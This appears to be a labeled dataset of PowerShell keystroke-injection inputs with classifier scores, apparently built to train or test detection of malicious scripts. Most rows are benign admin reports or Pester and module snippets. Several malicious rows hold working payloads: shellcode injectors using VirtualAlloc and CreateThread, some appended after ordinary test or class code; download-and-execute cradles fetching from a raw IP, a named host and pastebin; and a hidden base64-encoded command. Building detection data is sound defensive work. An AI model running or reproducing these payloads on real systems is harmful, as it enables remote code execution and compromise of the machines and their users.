"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_7m15pnz7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.432648e-05
"win+r powershell enter Set-StrictMode -Version Latest Describe ""Module scope separation"" { Context ""W enter hen users define variables with the same name as Pester parameters"" { $test = "" enter This is a test."" It ""does not hide user variables"" { $test | Should -Be 'This enter is a test.' } } It ""Does not expose Pester implementation details to the SU enter T"" { enter enter",1,1,0.007943752,0.9920562
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_i9qomwmb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.388962e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_ottw9gfw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 40 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_40.json"") -Encoding UTF8 enter",0,0,0.9999654,3.45444e-05
"win+r powershell enter param ( [string]$tfsServer = ""TFSServerName"", [string]$tfsLocation = ""$/TFS/P enter roject"", [string]$localFolder =""c:\scripts"", [string]$file, [string]$checkInC enter omments = ""Checked in from PowerShell"" ) $clientDll = ""C:\Program Files (x86)\Mi enter crosoft Visual Studio 9.0\Common7\IDE\PrivateAssemblies\Microsoft.TeamFoundation enter .Client.dll"" $versionControlClientDll = ""C:\Program Files (x86)\Microsoft Visual enter Studio 9.0\Common7\IDE\PrivateAssemblies\Microsoft.TeamFoundation.VersionContro enter l.Client.dll"" $versionControlCommonDll = ""C:\Program Files (x86)\Microsoft Visua enter l Studio 9.0\Common7\IDE\PrivateAssemblies\Microsoft.TeamFoundation.VersionContr enter ol.Common.dll"" [Reflection.Assembly]::LoadFrom($clientDll) enter enter",1,1,0.0038724157,0.99612767
"win+r powershell enter  function Copy-SqlLogins{ [cmdletbinding()] param([parameter(Mandatory=$true enter )][string] $source ,[string] $ApplyTo ,[string[]] $logins ) $smosource = n enter ew-object ('Microsoft.SqlServer.Management.Smo.Server') $source enter enter",1,1,0.008184212,0.99181575
"win+r powershell enter function Convert-IPv4Address { [CmdletBinding(DefaultParameterSetName='IPv4Addr enter ess')] param( [Parameter( ParameterSetName='IPv4Address', Position=0, Manda enter tory=$true, HelpMessage='IPv4-Address as string like ""192.168.1.1""')] [IPAddre enter ss]$IPv4Address, [Parameter( enter enter",1,1,0.0036618535,0.9963381
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_4deeahzi"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter Export-Csv -Path (Join-Path $ReportDir ""network_dns_servers.csv"") -NoTypeInformation enter",0,0,0.9999654,3.458544e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_1x9yrbqd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits -ErrorAction SilentlyContinue | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter",0,0,0.9999652,3.4787678e-05
"win+r powershell enter Describe ""Get-PSCallStack DRT Unit Tests"" -Tags ""CI"" { BeforeAll { $scriptFile enter Name = ""GetTryCatchCallStack.ps1"" $scriptFilePath = Join-Path $TestDrive -Child enter Path $scriptFileName } It ""Verifies that the script block of a catch clause do enter es not show up on the call stack"" { $fileStream = @"" function foo() { try { enter throw 1 enter enter",1,1,0.0017820537,0.9982179
"win+r enter powershell enter enter enter Describe 'Native UNIX globbing tests' -tags ""CI"" { enter enter BeforeAll { enter if (-Not $IsWindows ) enter { enter """" > ""$TESTDRIVE/abc.txt"" enter """" > ""$TESTDRIVE/bbb.txt"" enter """" > ""$TESTDRIVE/cbb.txt"" enter } enter enter $defaultParamValues = $PSDefaultParameterValues.Clone() enter $PSDefaultParameterValues[""it:skip""] = $IsWindows enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $defaultParamValues enter } enter It 'The globbing pattern *.txt should match 3 files' { enter (/bin/ls $TESTDRIVE/*.txt).Length | Should -Be 3 enter } enter It 'The globbing pattern *b.txt should match 2 files whose basenames end in ""b""' { enter (/bin/ls $TESTDRIVE/*b.txt).Length | Should -Be 2 enter } enter enter It 'The globbing pattern should match 2 files whose names start with either ""a"" or ""b""' { enter (/bin/ls $TESTDRIVE/[ab]*.txt).Length | Should -Be 2 enter } enter It 'Globbing abc.* should return one file name ""abc.txt""' { enter /bin/ls $TESTDRIVE/abc.* | Should -Match ""abc.txt"" enter } enter enter It 'Globbing [cde]b?.* should return one file name ""cbb.txt""' { enter /bin/ls $TESTDRIVE/[cde]b?.* | Should -Match ""cbb.txt"" enter } enter enter It 'Globbing should work with unquoted expressions' { enter $v = ""$TESTDRIVE/abc*"" enter /bin/ls $v | Should -Match ""abc.txt"" enter enter $h = [pscustomobject]@{P=$v} enter /bin/ls $h.P | Should -Match ""abc.txt"" enter enter $a = $v,$v enter /bin/ls $a[1] | Should -Match ""abc.txt"" enter } enter enter It 'Should not normalize absolute paths' { enter $matches = /bin/echo /etc/* enter enter $matches.substring(0,5) | Should Be '/etc/' enter } enter It 'Globbing should not happen with quoted expressions' { enter $v = ""$TESTDRIVE/abc*"" enter /bin/echo ""$v"" | Should -BeExactly $v enter /bin/echo '$v' | Should -BeExactly '$v' enter } enter It 'Should return the original pattern (<arg>) if there are no matches' -TestCases @( enter @{arg = '/nOSuCH*file'}, enter @{arg = '/bin/nOSuCHdir/*'}, enter @{arg = '-NosUch*fIle'}, enter @{arg = '-nOsuCh*drive:nosUch*fIle'}, enter @{arg = '-nOs[u]ChdrIve:nosUch*fIle'}, enter @{arg = '-nOsuChdRive:nosUch*fIle'}, enter @{arg = '-nOsuChdRive: nosUch*fIle'}, enter @{arg = '/no[suchFilE'}, enter @{arg = '[]'} enter ) { enter param($arg) enter /bin/echo $arg | Should -BeExactly $arg enter } enter $quoteTests = @( enter @{arg = '""*""'}, enter @{arg = ""'*'""} enter ) enter It 'Should not expand quoted strings: <arg>' -TestCases $quoteTests { enter param($arg) enter Invoke-Expression ""/bin/echo $arg"" | Should -BeExactly '*' enter } enter It 'Should not expand quoted strings via splat array: <arg>' -TestCases $quoteTests -Skip { enter param($arg) enter enter function Invoke-Echo enter { enter /bin/echo @args enter } enter Invoke-Expression ""Invoke-Echo $arg"" | Should -BeExactly '*' enter } enter It 'Should not expand quoted strings via splat hash: <arg>' -TestCases $quoteTests -Skip { enter param($arg) enter enter function Invoke-Echo($quotedArg) enter { enter /bin/echo @PSBoundParameters enter } enter Invoke-Expression ""Invoke-Echo -quotedArg:$arg"" | Should -BeExactly ""-quotedArg:*"" enter Invoke-Expression ""Invoke-Echo -quotedArg: $arg"" | Should -BeExactly ""-quotedArg:*"" enter } enter enter It 'Should not expand patterns on non-filesystem drives' { enter /bin/echo env:ps* | Should -BeExactly ""env:ps*"" enter } enter enter It 'Globbing filenames with spaces should match 2 files' { enter """" > ""$TESTDRIVE/foo bar.txt"" enter """" > ""$TESTDRIVE/foo baz.txt"" enter (/bin/ls $TESTDRIVE/foo*.txt).Length | Should -Be 2 enter } enter enter It 'Tilde should be replaced by the filesystem provider home directory' { enter /bin/echo ~ | Should -BeExactly ($executioncontext.SessionState.Provider.Get(""FileSystem"").Home) enter } enter enter It '~/foo should be replaced by the <filesystem provider home directory>/foo' { enter /bin/echo ~/foo | Should -BeExactly ""$($executioncontext.SessionState.Provider.Get(""FileSystem"").Home)/foo"" enter } enter It '~ should not be replaced when quoted' { enter /bin/echo '~' | Should -BeExactly '~' enter /bin/echo ""~"" | Should -BeExactly '~' enter /bin/echo '~/foo' | Should -BeExactly '~/foo' enter /bin/echo ""~/foo"" | Should -BeExactly '~/foo' enter } enter } enter enter $ZAl5 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ZAl5 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xce,0xd9,0x74,0x24,0xf4,0x5e,0xbd,0xca,0x8a,0x52,0x62,0x33,0xc9,0xb1,0x58,0x31,0x6e,0x1a,0x83,0xee,0xfc,0x03,0x6e,0x16,0xe2,0x3f,0x76,0xba,0xe0,0xbf,0x87,0x3b,0x85,0x36,0x62,0x0a,0x85,0x2c,0xe6,0x3d,0x35,0x27,0xaa,0xb1,0xbe,0x65,0x5f,0x41,0xb2,0xa1,0x50,0xe2,0x79,0x97,0x5f,0xf3,0xd2,0xeb,0xfe,0x77,0x29,0x3f,0x21,0x49,0xe2,0x32,0x20,0x8e,0x1f,0xbe,0x70,0x47,0x6b,0x6c,0x65,0xec,0x21,0xac,0x0e,0xbe,0xa4,0xb4,0xf3,0x77,0xc6,0x95,0xa5,0x0c,0x91,0x35,0x47,0xc0,0xa9,0x7c,0x5f,0x05,0x97,0x37,0xd4,0xfd,0x63,0xc6,0x3c,0xcc,0x8c,0x64,0x01,0xe0,0x7e,0x75,0x45,0xc7,0x60,0x00,0xbf,0x3b,0x1c,0x12,0x04,0x41,0xfa,0x97,0x9f,0xe1,0x89,0x0f,0x44,0x13,0x5d,0xc9,0x0f,0x1f,0x2a,0x9e,0x48,0x3c,0xad,0x73,0xe3,0x38,0x26,0x72,0x24,0xc9,0x7c,0x50,0xe0,0x91,0x27,0xf9,0xb1,0x7f,0x89,0x06,0xa1,0xdf,0x76,0xa2,0xa9,0xf2,0x63,0xdf,0xf3,0x9a,0x1d,0xba,0x7f,0x5b,0x8a,0x33,0xe9,0x35,0x23,0xef,0x81,0x85,0xc4,0x29,0x55,0xe9,0xfe,0x04,0x82,0x46,0x52,0x35,0x67,0x3a,0x3c,0x83,0xd1,0xc5,0x1b,0x0c,0x08,0x66,0x37,0x98,0xb0,0xda,0xe4,0x34,0x14,0xd3,0x0a,0xc4,0xb2,0x60,0x0a,0xc4,0x42,0x56,0x4f,0x83,0x0a,0x91,0x1f,0x0b,0xdb,0x89,0xc8,0x82,0x44,0x8f,0x08,0x41,0xf3,0xd6,0xa4,0x01,0x04,0xe5,0xaa,0x55,0x57,0x5a,0x78,0x02,0x0b,0x0a,0x16,0x47,0xfe,0x9c,0xdd,0x68,0xd4,0x77,0x4b,0x9c,0x88,0x1f,0x0c,0x93,0x36,0xe0,0x85,0x33,0x5c,0xe4,0xc5,0xd9,0xbe,0xb2,0x8d,0x68,0x87,0xa4,0xc8,0x6d,0xd2,0x8a,0x87,0xc2,0x8e,0x7a,0x40,0xc9,0x36,0x9b,0xeb,0xee,0xe2,0x1e,0xcb,0x65,0x07,0x6e,0xb9,0x5c,0x7f,0x80,0xf4,0xfc,0xd6,0x9f,0x22,0x6a,0x97,0x37,0xcd,0x7a,0x17,0xc8,0xa5,0x7a,0x17,0x88,0x35,0x29,0x7f,0x50,0x92,0x9e,0x9a,0x9f,0x0f,0xb3,0x36,0x33,0x39,0x54,0xef,0xdb,0x39,0xba,0x10,0x1c,0x69,0xec,0x78,0x0e,0x1b,0x99,0x9b,0xd1,0xf6,0x1c,0x9b,0x5a,0x34,0x95,0x1b,0xa2,0x05,0x2c,0xe3,0xd1,0x6c,0x76,0x27,0x46,0x87,0xf3,0x58,0x86,0xa8,0x8c,0xd1,0x0e,0x64,0x5c,0x7d,0x99,0xf8,0xcf,0xec,0x3c,0xd0,0x7a,0x9f,0x90,0x4e,0xe5,0x2b,0x88,0x8e;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$bVz=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($bVz.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$bVz,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1743715e-05,0.99994826
win+r powershell enter function Get-CredentialType() { $wmiObject = New-RsConfigurationSettingObject - enter ReportServerInstance PBIRS -ReportServerVersion SQLServervNext switch ($wmiObje enter ct.DatabaseLogonType) { 0 { return 'Windows' } 1 { return 'SQL' } 2 { return enter 'ServiceAccount' } default { throw 'Invalid Credential Type!' } } } function enter Get-SaCredentials() { if (-not $env:SqlSaPwd) { enter enter,1,1,0.0019896445,0.99801034
"powershell -WindowStyle Hidden -E ""CgAKAAoAJABBAFMAQwBfAEUAbgBjAFMAdAByAD0AWwBTA enter HkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJADsACgAkA enter HIAbAB2AF8AVgBhAHIAMQAgAD0AIAAiADMAMgAiADsACgAkAG8AawA9ACQAdAByAHUAZQAKAAoACgAkA enter EoAXwB2AGEAcgBfAGcAbABvAGIAYQBsAD0AJABuAHUAbABsADsACgAkAHYAcgBQAEEAcgBtACAAPQAgA enter CIAVwB5AEkAMABOAGoATQB3AE8AVABjAHgATgBEAGcAeQBPAFQAZwA0AE0AegBjADMATQB6AE0AMQBJA enter GkAdwB4AE4AagBjADUATQBUAFUAMwBNAFQAUQB4AEwAQwBKAE8AUgBFAEUAMQBUAFUAUgBSAFEAVQBKA enter G4AYgAwAEYARQBVAFUAMQBDAFIARgBGAG4AUgAwAFIAUgBaADAASgBCAGQAMAAxAEUAUQBYAGQAdgBSA enter GwATgBCAE0ARQBoAEQAVQBVAEYAQwBRAFcAdAAzAFMAVQBKAG4AVABVADUAQgBVAFgAZABJAFEAbABGA enter EIAUQBWAEoAWABPAFYAaABTAGEAMgBjAGwATQAwAFEAaQBYAFEAPQA9ACIAOwAKAAoACgBmAHUAbgBjA enter HQAaQBvAG4AIABnAGUAdABWAGEAbAB1AGUAQgB5AFAAbwBzAGkAdABpAG8AbgBBAHIAcgBhAHkAKABbA enter HMAdAByAGkAbgBnAF0AJABiAHQAMgBBAHIAcgBTACkAIAB7AAoACQAkAGIAdABBAHIAcgBTAD0AWwBTA enter HkAcwB0AGUAbQAuAEMAb enter",1,1,6.3980515e-05,0.999936
"win+r powershell enter function Should-HaveCount($ActualValue, [int] $ExpectedValue, [switch] $Negate, enter [string] $Because) { if ($ExpectedValue -lt 0) { throw [ArgumentException]""E enter xcpected collection size must be greater than or equal to 0."" } $count = if ($ enter null -eq $ActualValue) { 0 } else { $ActualValue.Count } $expectingEmpty = enter $ExpectedValue -eq 0 enter enter",1,1,0.003747736,0.99625224
"win+r enter powershell enter enter enter  enter function Test-MrIpAddress { enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory=$true, enter ValueFromPipeLine=$true)] enter [string[]]$IpAddress, enter enter [switch]$Detailed enter ) enter enter PROCESS { enter enter foreach ($Ip in $IpAddress) { enter enter try { enter $Results = $Ip -match ($DetailedInfo = [IPAddress]$Ip) enter } enter catch { enter Write-Output $false enter Continue enter } enter enter if (-not($PSBoundParameters.Detailed)){ enter Write-Output $Results enter } enter else { enter Write-Output $DetailedInfo enter } enter enter } enter enter } enter enter } enter enter",0,0,0.99916613,0.0008339023
"win+r enter powershell enter enter enter powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://93.175.232.53:80/a'))"" enter enter",1,1,5.784583e-05,0.9999422
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""v31_repair_report_process_checks_e9thpzgphp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""top_processes_3.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4223976e-05
"win+r enter powershell enter enter enter class TeamsConnectionConfig : ConnectionConfig { enter [string]$BotName enter [string]$TeamId enter [string]$ServiceBusNamespace enter [string]$QueueName enter [string]$AccessKeyName enter [securestring]$AccessKey enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x86,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x8b,0x4c,0x10,0x78,0xe3,0x4a,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x89,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x69,0x69,0xbb,0x81,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1563817e-05,0.9999484
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_all68r63"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4318724e-05
win+r powershell enter  function Get-ResourceGroupName { return getAssetName } function Get-TestSto enter rageAccountName { return getAssetName } enter,1,1,0.0009815478,0.99901843
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_z0anylw9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.json"") -Encoding UTF8 enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3846663e-05
"win+r enter powershell enter enter enter (New-Object System.Net.WebClient).DownloadFile('http://worldnit.com/nigga.exe','mess.exe');Start-Process 'mess.exe' enter enter",1,1,5.8692094e-05,0.99994135
"win r powershell -w h -nop -noni -exec bypass ""$e=$env:tmp+'\ex.ps1';iwr https://pastebin.com/raw/<paste_id> -o $e;iex $e;rm $e"" enter enter capslock",1,1,0.00030218702,0.9996978
"win+r powershell enter function ThrowError { param ( [parameter(Mandatory = $true)] [ValidateNotNu enter llOrEmpty()] [System.Management.Automation.PSCmdlet] $CallerPSCmdlet, [param enter eter(Mandatory = $true)] [ValidateNotNullOrEmpty()] enter enter",1,1,0.0028010134,0.99719894
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_8r4c9zn9"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-WinEvent -LogName Application -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_application_warnings_100.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.407869e-05
"win+r powershell enter Describe ""Validate start of console host"" -Tag CI { BeforeAll { $allowedAssemb enter lies = @( 'Microsoft.ApplicationInsights.dll' 'Microsoft.Management.Infrastruc enter ture.dll' 'Microsoft.PowerShell.ConsoleHost.dll' 'Microsoft.PowerShell.Securit enter y.dll' 'Microsoft.Win32.Primitives.dll' 'Microsoft.Win32.Registry.dll' 'netst enter andard.dll' 'Newtonsoft.Json.dll' 'pwsh.dll' enter enter",1,1,0.0014955804,0.9985044
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""workstation_report_a3by4j0i"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_installed_programs.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999647,3.5251513e-05
"win+r powershell enter function Find-AVSignature { [CmdletBinding()] Param( [Parameter(Mandatory = $ enter True)] [ValidateRange(0,4294967295)] [UInt32] $StartByte, [Parameter(Mandat enter ory = $True)] [String] $EndByte, enter enter",1,1,0.000166852,0.9998331
"win+r powershell enter Describe ""Get-Random DRT Unit Tests"" -Tags ""CI"" { $testData = @( @{ Name = 'no enter params'; Maximum = $null; Minimum = $null; GreaterThan = -1; LessThan = ([int32 enter ]::MaxValue); Type = 'System.Int32' } @{ Name = 'only positive maximum number'; enter Maximum = 100; Minimum = $null; GreaterThan = -1; LessThan = 100; Type = 'Syste enter m.Int32' } @{ Name = 'maximum set to 0, Minimum to a negative number'; Maximum enter = 0; Minimum = -100; GreaterThan = -101; LessThan = 0; Type = 'System.Int32' } enter @{ Name = 'positive maximum, negative Minimum'; Maximum = 100; Minimum = -100; G enter reaterThan = -101; LessThan = 100; Type = 'System.Int32' } @{ Name = 'both nega enter tive'; Maximum = -100; Minimum = -200; GreaterThan = -201; LessThan = -100; Type enter = 'System.Int32' } @{ Name = 'both negative with parentheses'; Maximum = (-100 enter ); Minimum = (-200); GreaterThan = -201; LessThan = -100; Type = 'System.Int32' enter } @{ Name = 'maximu enter enter",1,1,0.002984138,0.99701583
"win+r enter powershell enter enter enter function Out-RsRestCatalogItemId enter { enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory = $True)] enter $RsItemInfo, enter enter [ValidateScript({ Test-Path $_ -PathType Container})] enter [Parameter(Mandatory = $True)] enter [string] enter $Destination, enter enter [switch] enter $Overwrite, enter enter [string] enter $ReportPortalUri, enter enter [Alias('ApiVersion')] enter [ValidateSet(""v1.0"", ""v2.0"")] enter [string] enter $RestApiVersion = ""v2.0"", enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter [Microsoft.PowerShell.Commands.WebRequestSession] enter $WebSession enter ) enter enter Begin enter { enter $WebSession = New-RsRestSessionHelper -BoundParameters $PSBoundParameters enter $ReportPortalUri = Get-RsPortalUriHelper -WebSession $WebSession enter $catalogItemContentApi = $ReportPortalUri + ""api/$RestApiVersion/CatalogItems({0})/Content/`$value"" enter $DestinationFullPath = Convert-Path $Destination enter if ($RsItemInfo.Id -eq $null -or enter $RsItemInfo.Name -eq $null -or enter $RsItemInfo.Type -eq $null) enter { enter throw ""Invalid object specified for parameter: RsItemInfo!"" enter } enter } enter enter Process enter { enter if ($RsItemInfo.Type -ne 'MobileReport') enter { enter $itemId = $RsItemInfo.Id enter $fileName = $RsItemInfo.Name + (Get-FileExtension -TypeName $RsItemInfo.Type) enter } enter else enter { enter $packageIdProperty = $RsItemInfo.Properties | Where-Object { $_.Name -eq 'PackageId' } enter if ($packageIdProperty -ne $null) enter { enter $itemId = $packageIdProperty.Value enter } enter else enter { enter throw ""Unable to determine Id for $($RsItemInfo.Name)!"" enter } enter enter $packageNameProperty = $RsItemInfo.Properties | Where-Object { $_.Name -eq 'PackageName' } enter if ($packageNameProperty -ne $null) enter { enter $fileName = $packageNameProperty.Value enter } enter else enter { enter $fileName = $RsItemInfo.Name + '.rsmobile' enter } enter } enter enter $destinationFilePath = 